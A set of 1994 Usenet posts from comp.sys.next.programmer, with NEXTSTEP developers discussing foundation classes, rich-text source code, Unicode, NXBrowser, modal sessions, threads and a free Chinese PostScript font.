From: 0005508785@mcimail.com (ErgoTech Development, Inc.) Newsgroups: comp.sys.next.programmer Subject: RE: Porting NS prototypes to X-windows Date: 18 Jan 1994 13:12:26 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <71940118163717/0005508785NA2EM@mcimail.com> Dick Silbar and other are asking about X. Slightly unrelated: Does anyone know anything about the future of Adobe's DPS NX software? This is a DPS server and X client. That is, it interprets DPS and turns it into X calls. My understanding of this is that, if it ran on NS, you could run your application on NS and see the out put on ANY X terminal. So you could run on NS and watch the output on Sun's even MS Windows (via an X-Term product). An amazing useful product. Will it ever run on NS? Jim Redman
From: Tim Pugh <tpugh@oce.orst.edu> Newsgroups: comp.sys.next.programmer Subject: Foundation Classes (i.e. String Class) and future problems Date: 18 Jan 1994 19:22:59 GMT Organization: University Computing Services - Oregon State University Message-ID: <2hhcuj$9ig@gaia.ucs.orst.edu> Keywords: objectware What foundation classes are missing from NEXTSTEP? We know the String Class is missing. Thus third party developers have been introducing objectware containing string classes. But the String Class is a foundation class that would be used in many common classes and in more specialized classes. Hence, there should be some conformance with the String Class between competing objectware, so my object can pass String classes between objects, applications, and bundles. Otherwise, I could be writing code for two different String Classes. Do others see this as being a problem? I see this as a problem for every foundation class that NeXT does not specify and third parties create. With NeXT making specifications for OpenStep, I suggest that NEXTSTEP developers do the same for foundation classes not supported by NeXT. 1) Identify foundation classes. 2) Write a specification for minimal conformance as a protocol. This way, our objectware is better integrated and conforms well between competing products, so I don't have to learn two or more String Classes. I'd like to have some discussion whether this is an issue others agree or disagree with. If we agree it is an issue, let's begin writing and publishing the specs. I'd be happy to organize it but feel that I am not in a position to represent NEXTSTEP developers. I would hope NeXT and/or ANDI be actively involved in setting standards for foundation class conformance. - Tim - -------------------------------------------------------------- Tim Pugh email: tpugh@oce.orst.edu Oceanic and Atmospheric Sciences voice: 503-737-2270 Oregon State University fax: 503-737-2064 NeXTmail ok!
From: keith@starburst.umd.edu (Keith Norris) Newsgroups: comp.sys.next.programmer Subject: NeXT and business opertunities Date: 18 Jan 1994 19:59:52 GMT Organization: Chesapeake Biological Laboratory Message-ID: <2hhf3o$gh1@gamera.umd.edu> -- ****************************************************************************** Keith L. Norris | keith@starburst.umd.edu Frostburg State University | c2mxnorr@fre.fsu.umd.edu ******************************************************************************
From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Good way to have a FormCell select its own text? Date: 18 Jan 1994 21:24:22 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2hhk26$i6t@zip.eecs.umich.edu> A FormCell (self in this example) wants to select its own text. id controlView = [self controlView]; [controlView selectTextAt:[controlView indexOf:self]]; Is there a better way? Roland
From: fankhauser@uptime.ch (George Fankhauser) Newsgroups: comp.sys.next.programmer Subject: Re: Custom cursor only appears when running in shell-- WHAT??? Date: 18 Jan 1994 20:20:33 +0100 Organization: Uptime Object Factory Inc, Zurich, Switzerland Message-ID: <2hhcq1$2dk@california.uptime.ch> References: <}x%@byu.edu> In article <}x%@byu.edu>, Sean Luke <feijai@kolob> wrote: > >When making a custom cursor (a vertical bar) for Sound Views in a Scroll View, >it would appear that the cursor is displayed only when--get this--the program >was run from a shell. If it's launched by the Workspace Manager, the cursor >disappears! Likewise from the Dock. > if you read your cursor from a TIFF it's probably a nil NXImage that comes from a search-path problem: if you launch the app from the project directory it's there, if you use workspace, the current directory is ~ and the TIFF may not be found. George -- George Fankhauser Uptime Object Factory Inc Director Software Engineering Integrated NEXTSTEP Solutions fankhauser@uptime.ch (NeXTmail ok) Postfach, Baumackerstrasse 46 Phone +41-1-313 06 07, Fax +41-1-313 07 55 CH-8050 Zurich/Switzerland
From: bfriedma@bfriedman-ss2.cisco.com (Barry Friedman) Newsgroups: comp.sys.next.programmer Subject: Re: Foundation Classes (i.e. String Class) and future problems Date: 18 Jan 1994 21:56:59 GMT Organization: cisco Systems, Menlo Park, California, USA Message-ID: <2hhlvb$74v@cronkite.cisco.com> References: <2hhcuj$9ig@gaia.ucs.orst.edu> Keywords: objectware In article <2hhcuj$9ig@gaia.ucs.orst.edu> Tim Pugh <tpugh@oce.orst.edu> writes: > >I see this as a problem for every foundation class that NeXT does not specify >and third parties create. With NeXT making specifications for OpenStep, I >suggest that NEXTSTEP developers do the same for foundation classes not >supported by NeXT. > > 1) Identify foundation classes. > 2) Write a specification for minimal conformance as a protocol. > >This way, our objectware is better integrated and conforms well between >competing products, so I don't have to learn two or more String Classes. > >I'd like to have some discussion whether this is an issue others agree or >disagree with. If we agree it is an issue, let's begin writing and publishing >the specs. I'd be happy to organize it but feel that I am not in a position to >represent NEXTSTEP developers. I would hope NeXT and/or ANDI be actively >involved in setting standards for foundation class conformance. This is a great idea and it is an area where NeXT could show a lot of industry leadership. I thought standardizing protocols was going to be something that OPN was going to work on, but it seems they've mostly focused on the object licensing problem. Any chance OPN could refocus on this issue? I also seem to remember NeXT offering to act as a protocol clearinghouse. Does anyone else remember this? Has NeXT ever said anything more about it? Another area where standardized protocols would be useful is application APIs. For example, a spreadsheet app might publish a computation service via Distributed Objects. Wouldn't it be nice if other spreadsheet apps or any other app that provided a computation service conformed to the same protocol? If this sort of standardization were accomplished, it would give NS a real advantage that would mesh well with their MCCA focus. Barry ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Barry Friedman | heisenbug: from Heisenberg's Uncertainty Principle. Cisco Systems Inc | A bug that disappears or alters its behavior bfriedman@cisco.com | when one attempts to probe or isolate it.
From: griffid@flash_heart (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 18 Jan 1994 12:28:03 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2hgkkj$ker@gpo.gb.swissbank.com> References: <2hf58d$1sr@senator-bedfellow.MIT.EDU> In article <2hf58d$1sr@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > In article <1994Jan17.180606.19694@sifon.cc.mcgill.ca> samurai@amber.hasc.ca writes: > >In article <2hderh$h3f@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric > >M Hermanson) writes: > >I believe that RTF source is a bad idea. Why? It makes it hard to use > >the program of your choice to edit the file. > > As a person who is learning NEXTSTEP programming, I think RTF code is a great > idea. It would be nice to be able to quickly scan code for important > comments in red type, or bold type. It would also be helpful as stated earlier > to be able to click on a file link in the source code to learn more about > the programming technique. It wouldn't be that hard to convert the code > back to ASCII if you really wanted to use another text editor besides Edit. The problem with that is it's a one-way street. If one programmer in the team converts back to ascii so they can modify it using emacs, you've lost the rtf for good. I think a better idea would be some sort of mark-up language for C source files that incorporated basic rtf features (different fonts, hyperlinks) and to extend Edit to read and write this language. Or maybe the ideal solution would be an object-oriented file system. The basic class could be a plain file, with rich text as a subclass. All the normal unix read/write calls could operate on the rich text file, but would only see the plain ascii. (Hmmm... cp rtf_foo.c foo.c would convert to plain ascii :). Dave Griffiths
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Pasting objects into IB from elsewhere? Message-ID: <1994Jan18.221225.15916@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Tue, 18 Jan 1994 22:12:25 GMT Hi, I would like to take an object I have created outside of IB and put it on the pasteboard so someone can paste it into IB. IB seems to want all objects to call -copyObject:type:inPasteboard: in it's own private <IBDocuments> conforming object to get the object into the pasteboard. Anybody know how to do it from outside of IB? Have you actually done it? I'm not too excited about the prospect of hacking around to see if I can get it right. If I can't just archive the object to the pasteboard then it looks like I would have to have some palette which can talk to my object creation program and then be able to call -copyObject:type:inPasteboard: or put up a panel when an instance is dragged off but before it is instantiated asking them to select the object from the other program (via distributed objects?). An even bigger challenge: I have two cooperating objects with connections (not IBConnections) between them. In other words they both have ivars pointing to the same independent objects. I would like to paste them in together so that those connections are preserved. Can I even do that in IB. I noticed that the method is not copyObjects:. Perhaps I put them in a list and use the TTools palette to let me inspect the objects individually. I can't seem to make connections to objects inside of the list, and hence can't make connections from those objects to others. Any ideas? Monty
Newsgroups: comp.sys.next.programmer From: David_Goldsmith@taligent.com (David Goldsmith) Subject: Re: Unicode ?? Message-ID: <David_Goldsmith-180194143215@david-goldsmith.taligent.com> Followup-To: comp.sys.next.programmer Sender: usenet@taligent.com (More Bytes Than You Can Read) Organization: Taligent, Inc. References: <AhCUVwm00iV4Q7nGxs@andrew.cmu.edu> <CJsKwx.6Iz@pdh.com> Date: Tue, 18 Jan 1994 22:32:15 GMT In article <CJsKwx.6Iz@pdh.com>, jfr@aspen.pdh.com (Jon F. Rosen) wrote: > Charles William Swiger writes: > > Izumi Ohzawa writes: > > > Unicode is one of those things that everyone says that they > > > will support it, and then leave it alone. So, No, it is not in > > > NS3.2. Besides, I've never heard of anyone using Unicode in > > > documents or communications. > > > > This is not NeXT related, but the company I used to work for used > > Unicode internally and for documents for a project management > > product called "PROJECT/2 Series X", which has Mitsubishi as both > > a major customer and as our agent for other East Asian sales & > > support. > > Last I had anything to do with internationalization issues with > databases, Unicode had finally been established as the target ISO > standard after some prolonged disputes over code sets and > availability of extensions to the code sets. > > I do not know if ISO actually finalized a standard however. My > guess is that anyone doing multi-byte character set manipulation is > going to have to support Unicode sometime in the future, like it or > not. As the original poster points out, however, it is no in NeXT > release 3.2, and I would not necessarily expect it in 4.0. > > Jon Both ISO 10646 and Unicode 1.1 are final. The character repertoires have been aligned. In standardese, the 16 bit character set defined by the international standard ISO/IEC 10646-1:1993(E); Coded Representation Form=UCS-2; Subset=300; Implementation Level=3 is identical with the character repertoire and coding of The Unicode Standard, Version 1.1. Unicode 1.1 further specifies the use and interaction of these character codes beyond the ISO standard. However, any valid 10646 sequence is a valid Unicode sequence; Unicode supplies interpretations of sequences on which the ISO standard is silent as to interpretation. The following systems I am aware of support Unicode: PenPoint from Go Corp., Windows NT from Microsoft, the Newton PDA from Apple, and the Plan9 OS from AT&T. Additionally, Apple will be supporting Unicode in their forthcoming Quickdraw GX product. These are all the products using Unicode which have been publicly announced that I know of. If you want more information on Unicode, try asking on comp.std.internat, or look on the unicode.org anonymous FTP server (which was kindly made possible by NeXT, Inc., as a matter of fact). -- David Goldsmith Taligent, Inc. 10201 N. De Anza Blvd. Cupertino, CA 95014-2233 David_Goldsmith@taligent.com
From: seanw@codex.com.au (Sean Woodhouse) Newsgroups: comp.sys.next.programmer Subject: Problem distributing palette resources. Date: 19 Jan 1994 01:58:07 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2hi43f$r0a@yarrina.connect.com.au> Keywords: palette, tiff Hi All, I've made my own subclass of NXBrowserCell which draws a dot on the left hand side of the cell...(straight from the ScrollDoodScroll example in /NextDeveloper/Examples/AppKit). My BrowserCell class loads the image for the dot from a tiff by doing a findImageNamed:. I made the Browser into a palette, put the dot image into the 'Images' section of the palette's project and exported the image in the palette.table. So now when I test an interface which uses the browser the dots appear and everything works fine. BUT when I compile a project which uses one of my custom browsers no dots appear because the dot.tiff file hasn't been copied into that project's 'Images' section. So how do I distribute palette resources (such as sounds and pictures) so that other projects can use them?? I could write some postscript code to draw the dot...but then it wouldn't look as good. Any suggestions??? Thanks Sean. --------------------------------------------------------- Sean Woodhouse Software Engineer Xedoc Software Development Pty Ltd, Melbourne AUSTRALIA Phone: +61 3 696 2490 Facimile: +61 3 696 6757 Internet : seanw@xedoc.com.au Street: 222 Park St, South Melbourne, VIC 3205 AUSTRALIA
From: nika!ken@uunet.UU.NET (Ken Pelletier) Newsgroups: comp.sys.next.programmer Subject: How to query nmserver? Date: 18 Jan 1994 21:16:22 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401190239.AA01705@nika> I've been writing a DO server which will graphically depict client connections, statistics, etc. Forgetting that each app already registers with the Network Name Server under its app name for speaker/listner, I tried registering my server's root object with its app name and, of course, couldn't get the NXConnection. Trying to investigate why, I hacked up a little app that let's me see what's registered with the name server using machkit's NXNetNameServer and NXPort - given the name, it shows some port info, if registered. This did the trick here, but I was really looking for a way to query the name server and see all the registered ports by name. Is there a command, system call(s) or something in the machkit (that I'm missing) that could be used to do this? Thanks, Ken Pelletier (ken@nika.com) NiKA Software, Inc. Chicago, IL
Newsgroups: comp.sys.next.programmer From: mshaler@tdocad.sps.mot.com (Michael Shaler) Subject: Programming NXBrowsers? Message-ID: <1994Jan19.025746.13095@newsgate.sps.mot.com> Sender: news@newsgate.sps.mot.com Organization: sps Date: Wed, 19 Jan 1994 02:57:46 GMT Does anybody have any throughly-documented info on getting started with NXBrowsers? I want to use a browswer to display herarchical data from Sybase. Thanks in advance. -- Michael Shaler Tokyo Design Center Nippon Motorola Ltd. +813 3280 8245 voice +813 3440 0033 fax mshaler@tdocad.sps.mot.com [NeXTmail] want to use a browswer to display herarchical data from Sybase. Thanks in advance. -- Michael Shaler Tokyo Design Center Nippon Motorola Ltd. +813 3280 8245 voice +813 3440 0033 fax mshaler@tdocad.sps
Newsgroups: comp.sys.next.programmer From: freeband@netcom.com (Nick Porcaro) Subject: Re: Rich Text Source Code?! Message-ID: <freebandCJupK7.5wI@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <2hderh$h3f@senator-bedfellow.MIT.EDU> Date: Wed, 19 Jan 1994 00:33:42 GMT Too bad the rest of the world doesn't support such nice-ness. I guess it would be pretty easy to filter your rtf source code before porting to a more neanderthal operating system Eric M Hermanson (zmonster@ATHENA.MIT.EDU) wrote: : I just got around to upgrading to 3.2, and much to my delight I found in the : Edit.app release notes that the development system supports compiling of : Rich Text source code: : Due to the addition of RTF support in the compiler, source code can now be made : rich. This means that you can save a rich text file, which might normally be : saved to Foo.rtf, as Foo.h or Foo.m. A change has been made to allow the typic : al source code file extensions (.h, .c, .m, .H, .C, .M, .cc, .cpp, .cxx, and .h : xx) to be used instead of the standard .rtf extension. Edit can now create and : modify such files as rich text. : One good example of how to use rich source code effectively, besides the obviou : s use of italics, bold, underlining, fonts and color of comments and other synt : actic constructs, is to use Help links to help document portions of code and li : nk them to other portions of code. Under the Format menu, the Help submenu pr : ovides the ability to insert a link to another file or to a marker placed in an : other file. Markers can be inserted anywhere in the text and will be automatic : ally selected (along with the remainder of the line following them) when a lin : k to that marker is clicked on. Note that marker names can be inspected or cha : nged by using *Show Markers: and Command-clicking them. : (I haven't been keeping up with this newsgroup, so forgive me if this is old : news) : This support will make it loads easier document source code. I am surprised : none of the NextDeveloper/Examples have RTF commented source code yet. : By the way, the preprocessor release notes state that RTF source code may : not work well with grep, but the finder in ProjectBuilder works fine with RTF. : Eric
Newsgroups: comp.sys.next.programmer From: jfr@aspen.pdh.com (Jon F. Rosen) Subject: Re: Rich Text Source Code?! Message-ID: <CJtH7t.A70@pdh.com> Sender: news@pdh.com (USENET News Account) Organization: PDH, Inc. References: <2hf58d$1sr@senator-bedfellow.MIT.EDU> Date: Tue, 18 Jan 1994 08:35:53 GMT Eric M Hermanson writes > In article <1994Jan17.180606.19694@sifon.cc.mcgill.ca> samurai@amber.hasc.ca writes: > > > I believe that RTF source is a bad idea. Why? It makes it hard > > to use the program of your choice to edit the file. > > As a person who is learning NEXTSTEP programming, I think RTF > code is a great idea. It would be nice to be able to quickly > scan code for important comments in red type, or bold type.... Just a comment :-) The first semi-RTF language/environment/editor I ever saw on a PC (and which I loved at first sight) was Release 2.0 of Microsoft Basic for the Macintosh. It had autobolding of keywords and you could use italics or underlines if you wanted (no colors because there was no color Mac then). This was all in 1985. Does this make Microsoft innovative? :-) Jon
From: wyee@saturn.corpit.cantel.Rogers.Com (William Yee) Newsgroups: comp.sys.next.programmer Subject: Beginner questions. Date: 18 Jan 1994 23:16:09 GMT Organization: Rogers Communications Message-ID: <2hhqjp$48v@mail.Rogers.Com> I am new to the NextStep development environment, but I do have experience on UNIX. I am trying to use "emacs" for editing but having problem setting up the "M" or the META key. The hardware that I am using is a compaq 486 machine. Do I have to do any special configuration for my machine? I am running emacs inside a terminal and its type is vt-100. I afraid to change my "termcap" file because the left ALT key is setup for the "Command" key for KeyStep. Another question, I also try to use the "Edit" (the Next App) but I don't know how to do the following things: 1) get the "Delete" key work 2) get the page up and page Down keys work 3) get Home and End keys work 4) does it have "Undo" function 5) does it have macro support (for example, the map function for vi) How do get RCS working inside project builder? Thanks for all the helps!
Newsgroups: comp.sys.next.programmer From: clloyd@gleap (Charles C. Lloyd) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan19.063044.26215@gleap.sccsi.com> Sender: clloyd@gleap.sccsi.com Organization: GiantLeap Software References: <CJtH7t.A70@pdh.com> Date: Wed, 19 Jan 1994 06:30:44 GMT Jon F. Rosen writes > >Just a comment :-) The first semi-RTF language/environment/editor >I ever saw on a PC (and which I loved at first sight) was Release >2.0 of Microsoft Basic for the Macintosh. It had autobolding of >keywords and you could use italics or underlines if you wanted (no >colors because there was no color Mac then). This was all in 1985. >Does this make Microsoft innovative? :-) > The best things Microsoft does are there language environments. I still think about how productive I have been when using Quick Basic and Quick C. I still miss some of the stuff those apps did. I'd love to have an editor for NeXT that would handle dynamic formatting for me in a context-sensitive manner. A long time ago a guy who was interning at NeXT (won't mention his name) said he was working on such a thing. I'd encourage him to work this up as it would be a big hit given the level of interest demonstrated so far in the rtf-source idea. (I am very much into using rtf for source, but I have to agree that the way we do it today leaves much to be desired. The formatting really should be a function of the viewer and not necessarily embedded in the code. But, since we don't have such a tool, I happier reading pleasantly-formatted rtf source than craggy ascii code.) Charles. -- Charles Lloyd clloyd@GLeap.sccsi.com GiantLeap Software (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax)
From: lparkyn@corpit.cantel.rogers.com (Lyle Parkyn) Newsgroups: comp.sys.next.programmer Subject: Selective stop of Modal Session within Modal session Date: 18 Jan 1994 20:10:38 GMT Organization: Rogers Communications Distribution: NA Message-ID: <2hhfnu$2rv@mail.Rogers.Com> Keywords: ModalSession stopModal I have a method running a ModalSession which calls another method which runs another ModalSession. When a stopModal for the second session is executed NXApp seems to stop both ModalSessions. Not what I wanted. I suspect that there's no notion of depth or order to multiple ModalSessions. How can I selectively kill a ModalSession? I'd settle for killing the most recent. -- Lyle D. Parkyn (416)250-4810 lparkyn@corpit.cantel.rogers.com NeXT Mail welcome Opinions expressed are my own.
Newsgroups: comp.sys.next.programmer From: BrianW@SoundS.WA.com (Brian Willoughby) Subject: Problems with hanging threads - how to create and initialize properly... Message-ID: <CJvBzM.5A6@sounds.wa.com> Sender: brianw@sounds.wa.com (Brian Willoughby) Organization: Sound Consulting, Bellevue, WA, USA Date: Wed, 19 Jan 1994 08:38:09 GMT I am having problems with threads which do not start when I expect them to. Every new thread that is created seems to start up right away (see the code below), but whenever any of my threads is aborted, the next thread that is started will freeze until another thread is created (which annoyingly freezes the new thread after unfreezing the earlier thread). I have been using the following code, which I believe I copied from some example, to create and initialize threads in my applications: ct = cthread_fork(fn, self); t = cthread_thread(ct); if (fixedPriority) thread_policy(t, POLICY_FIXEDPRI, 8); // not called cthread_detach(ct); and the following code to finish off the thread: thread_suspend(t); cthread_abort(ct); Apparently, the part of NEXTSTEP responsible for threads is recycling them after I call abort, and the new thread starts up in a suspended state. Is this because the suspended state is not reinitialized when the thread "slot" is reused? At first I thought this was purely my misunderstanding. But it does seem strange that threads start out unsuspended, and even the reused "slots" will eventually unsuspend without any command from my program other than starting another thread in a different "slot". I am currently working around this by calling thread_resume(t) after cthread_detach(), and simply ignoring the KERN_FAILURE that is often returned because the thread is not currently suspended. However, I would like to know if I should report this as a bug or just consider the thread_resume() as a necessary part of thread creation and initialization. -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
Organization: City University of New York/ University Computer Center Date: Tue, 18 Jan 1994 14:30:48 EST From: <JTRQC@CUNYVM.CUNY.EDU> Message-ID: <94018.143048JTRQC@CUNYVM.CUNY.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Global Alert For All: Jesus is Coming Soon Distribution: world References: <2hfbbv$9lp@orion.cc.andrews.edu> 1. Thy shall not wipe thy ass with sandpaper. 2. Thy shall not have sex without a condom. 3. Thy shall not pick thy nose in vain. 4. Thy shall not in New York City sit in the same train with a homeless person 5. Thy shall not tolerate racists. 6. Thy shall not speak when spoken to. 7. Thy shall not play doctor with the girl next door. 8. Thy shall not date a married woman. Unless thy is willing to risk dying. 9. Thy shall not listen to religious fanatics. 10. Thy shall honor a penny.
From: rasmussen@nbivax.nbi.dk Newsgroups: comp.sys.next.programmer Subject: Neophyte NextStep questions Message-ID: <1994Jan18.235152.1467@nbivax.nbi.dk> Date: 18 Jan 94 23:51:52 +0100 Organization: Niels Bohr Institute and Nordita, Copenhagen Hi, as a new programmer in the NextStep environment, I have a few questions that I hope someone will answer for me... I really like the project builder environment, but I hate the editor. I'm used to the vi editor (no hate mail please :), and would love to have it integrated with the rest of the environment. Is it possible to set up the system so that vi is the default editor for editing programs etc? If not, what about modifying one of the vi clones so that it works from its own window instead from a terminal window? Its a breeze working with the interface builder, creating connections etc. However I always seem to end up in a situation where I need to do a few finishing touches such as adding a few custom connections, or doing other configuration chores. This is typically AFTER the interface builder code has initialized all the connections, but before the program starts running proper. Is there any way to do this? I tried to use the NXBrowser class to browse/select from a tree data structure. I therefore created a subclass of NXBrowserCell containing the extra info I needed for each cell, and defined methods to set/access this info. Then I tried to use setCellClass: to tell the NXBrowser instance to use this new cell class. However, the browser still creates instances of the NXBrowserCell, and not of by subclass. My guess is that I have to call setCellClass very early to get it to work. Do I really have to create a subclass of NXBrowser too just to be able to call setCellClass in the init method, or is it possible to do it some other way. Good advice, or an example program would be nice. None of the /NextDeveloper/Examples programs seem to use the NXBrowser class... Any help will be greatly appreciated... Helge
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan19.113006.1376@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <2hgkkj$ker@gpo.gb.swissbank.com> Date: Wed, 19 Jan 1994 11:30:06 GMT In article <2hgkkj$ker@gpo.gb.swissbank.com> griffid@flash_heart (Dave Griffiths) writes: -> In article <2hf58d$1sr@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU -> (Eric M Hermanson) writes: -> > In article <1994Jan17.180606.19694@sifon.cc.mcgill.ca> -> samurai@amber.hasc.ca writes: -> > >In article <2hderh$h3f@senator-bedfellow.MIT.EDU> -> zmonster@ATHENA.MIT.EDU (Eric [ bandwidth conservation mode on -- previous quotes omitted] -> The problem with that is it's a one-way street. If one -> programmer in the team converts back to ascii so they -> can modify it using emacs, you've lost the rtf for good. Only the hyper-links. Pick up RTFSyntax from the archives and voila, each programmer can set his OWN preferences and with a stroke or two format it himself. A quick Command-Shift-R in Edit will strip the pretty formatting quite quickly for those who prefer plain ASCII. -> I think a better idea would be some sort of mark-up -> language for C source files that incorporated basic -> rtf features (different fonts, hyperlinks) -> and to extend Edit to read and write this language. -> -> Or maybe the ideal solution would be an object-oriented -> file system. The basic class could be a plain file, with -> rich text as a subclass. All the normal unix read/write -> calls could operate on the rich text file, but would only -> see the plain ascii. (Hmmm... cp rtf_foo.c foo.c would -> convert to plain ascii :). We might just see that. In the meanwhile all we really need is a "CONFORM" app... run as a plain vanilla Unix program or offered as a service, each person could work on either the plain ASCII or the Rich Text... Person A prefers Rich Text and, indeed makes links which would be stripped by either converting to ASCII with Edit.app or reformatting with RTFSyntax (current version, at least). Person B uses EMACS and prefers POAS (Plain Old Ascii Source). After modifying in Edit, Person A... 1. with the appropriate source window as the main window, hits Command-Alt-c (after saving). With his ~/.commanddict file option set as Menu Option:"Conform Source" HotKey: "<alt-c character>" (which is a \343) Command: /usr/local/bin/conform $selection (side note: Alt keys display with their "user font" value on the Edit menu, so mneumonic naming is more important than with other commands, as most users seldom key the fancy characters). 2. the hypothetical "conform" program takes a single command-line argument -- the master of two files. It opens the file, finds the rtf signature at the beginning of the file, and either looks up user defaults for "same dir" or "sibling" or "parent"... etc, or has a forced default built in to locate the "other format" of a file. It merely hands the source off to rtf-ascii, or it IS an rtf-ascii in this mode. The sources are identical EXCEPT for Rich Text. Person B edits the ASCII version in EMACS. He has aliased a command key similarly to the Edit.app .commanddict above. After saving, Person B hits the appropriate hotkey (or perhaps has them both on a single key stroke?? -- I don't use emacs)... the hypothetical "conform" program notes the absence of an rtf signature in the file and locates the Rich Text version as above. If it cannot find one it sends an "open" message to RTFSyntax to create one. If it DOES find one, it parses the differences and updates the business portion of the Rich Text. Person A reopens the file and MAY have a little clean-up in his rich text formatting, but has the portions put in himself and unmodified by Person B still intact INCLUDING Hyper-links, ties to other documents whatever. Technical details of "conform" takes a single commandline input parameter, with a "don't care" about extension, but with SOME rules for converting between the two forms. MAY be configured to put in "European Quote" characters around additions to Rich Text. Thus providing easy automated find's of changes which may need reformatting (Command-shift-N) once reopened in Edit. (See developer docs on Edit App's "glossary") If so, it also strips them, when converting TO ASCII, so would not merely execv rtf-ascii. Carries tabs, spaces, quoted strings, and TRUE newlines between Rich Text <--> ASCII formats, whether or not escaped. Is smart enough to not fold "//" comment lines into multiple ASCII lines. Is anyone game, or shall we develop a little more planning for "conform". Bruce Gingery bruce@TotSysSoft.com
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Chinese Charset (was Re: Unicode ??) Message-ID: <1994Jan19.114426.1446@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <2hcnf4$3b0@agate.berkeley.edu> Date: Wed, 19 Jan 1994 11:44:26 GMT In article <2hcnf4$3b0@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa) writes: [much omitted] -> On the other hand, what you really want is Japanese -> character set support, it is available now from Canon -> as NS3.xJ. I understand that Chinese character set -> support is also available from a 3-rd party vendor in -> Taiwan. Actually, it's from the Taiwan NUG, and has been posted under the GNU public license. Type-1 PostScript... Heres a repost of the mass-mailing announcement... ============================================================== Date: Sat, 8 Jan 94 11:30:24 +0800 From: Tony Guo <tony@formosa.dorm12.nctu.edu.tw> To: Chinese_Font_Inquirer%formosa@twnmoe10.edu.tw Subject: Information about the free Chinese PostScript font Reply-To: tony@formosa.dorm12.nctu.edu.tw Dear Inquirer, Here are short FAQ from the messages I received for the free Chinese font. Hope this can support enough information you are interested: 1. Where, when and how to get the KaiSu free Chinese PS font? A: The Chinese font will be a package and put on the ftp sites ftp.edu.tw (nctuccca.edu.tw, 140.111.1.10), cs.orst.edu (128.193.32.1) and other NeXT-related publec archivers on 15 January. If you can't get this pacgage by ftp, please inform me and I will try other way to send you the font. 2. Which application can use the Chinese font? A: Almost the NeXTSTEP apps can access the Chinese font. Thank the Display PostScript :) The DPS makes NeXTSTEP own the primary Chinese ability without any modification on the NeXTSTEP. All you need to show Chinese on your NeXTSTEP is to get the Chinese font. And you may easily copy-n-paste the Chinese font to almost apps with the selected KaiSu font from font panel. The current font is Big-5 code. 3. How to install the Chinese font? A: The Chinese font will be announce by a *.pkg and you may install it by the /NextAdmin/Installer.app to setup the font into either /LocalLibrary/Fonts or ~/Library/Fonts. And there will be a CEdit.app with input method together with the package. The source code of the CEdit.app is also released and under the copy left. 4. Is the font type-1 or type-3? A: Type-1. 5. How many MEGAS does the font take? A: Since it is compressed, the size is about 4MB+ after installed. 6. How will the copy right of the free Chinese font? A: GNU General Public License of the Free Software Foundation. You can freely take advantage of the font under the copy left. 7. Any known bug on the Chinese font? A: Yes. The Space problem still exists. The curser can move well under the Chinese big-5 code but it can't match well on the ASCII codes. All Jackson has to do is to build an ASCII table for their Chinese fonts but they still don't solve this problem. Any suggestion and patch is welcome. 8. How NeXT is doing in Taiwan and other NeXT community in Taiwan? A: Here is the FAQ of TwNUG. Q.1 What's TwNUG? A.1 TwNUG stands for Taiwan NeXT User Group. Q.2 When was TwNUG founded? A.2 TwNUG was foundes in July 1991 by Tony Guo and David Li. Q.3 How to contact TwNUG? A.3 Address: Applied Art Center National Chiao Tung University Hsinchu, Taiwan Tel: 886-35-712121 ext 2860 E-mail Tony Guo: tony@formosa.Dorm12.nctu.edu.tw David Li: me@twnug.info.com (Both are NeXT-mail acceptable) Q.4 What are TwNUG activities? A.4 1. A newsletter called TwNUG is published quarterly. 2. User meeting is held quarterly in Taiwan. Q.5 How many members does TwNUG has now? A.5 About 100+. Most are in Academe. Q.6 Is there any NeXT dealership in Taiwan? A.6 Yes, Abico NeXTek, Inc. is the authorized distribbutor in Taiwan. And there are 2 NeXT-direct system integrators in Taiwan: Jackson Technologies Ltd. and Object-Rain Ltd. Q.7 How many NeXT machines in Taiwan? A.7 Approximately, 400+ (black and white). Q.8 Is there educational price in Taiwan? A.8 Yes. The Academic Bouldle is available from the both system integrators in Taiwan. However, you have to buy the OS together with the system they developed. Q.9 How many NeXT User Groups are in Taiwan? A.9 Three, TwNUG, NCTU-nug and TPE-nug. And other user groups are prepared to found. Information about NCTU-nug Address: Rm 415, Dorm12 National Chiao Tung University Hsinchu, Taiwan Phone: 886-35-712121 ext 6494 E-mail: mark@nextstep.dorm12.nctu.edu.tw (Mark Lin) (NeXTmail acceptable) Information about TPE-nug Address: Wu Yeun-jung Institute of Physics Academia Sinica FAX: 886-2-783-4187 Phone: 886-2-789-9642 Email: yjwu@phys.sinica.edu.tw --- Tony Guo President of Taiwan NeXT User Group tony@formosa.dorm12.nctu.edu.tw (NeXTmail enjoyed) ============================================================== Bruce Gingery bruce@TotSysSoft.com
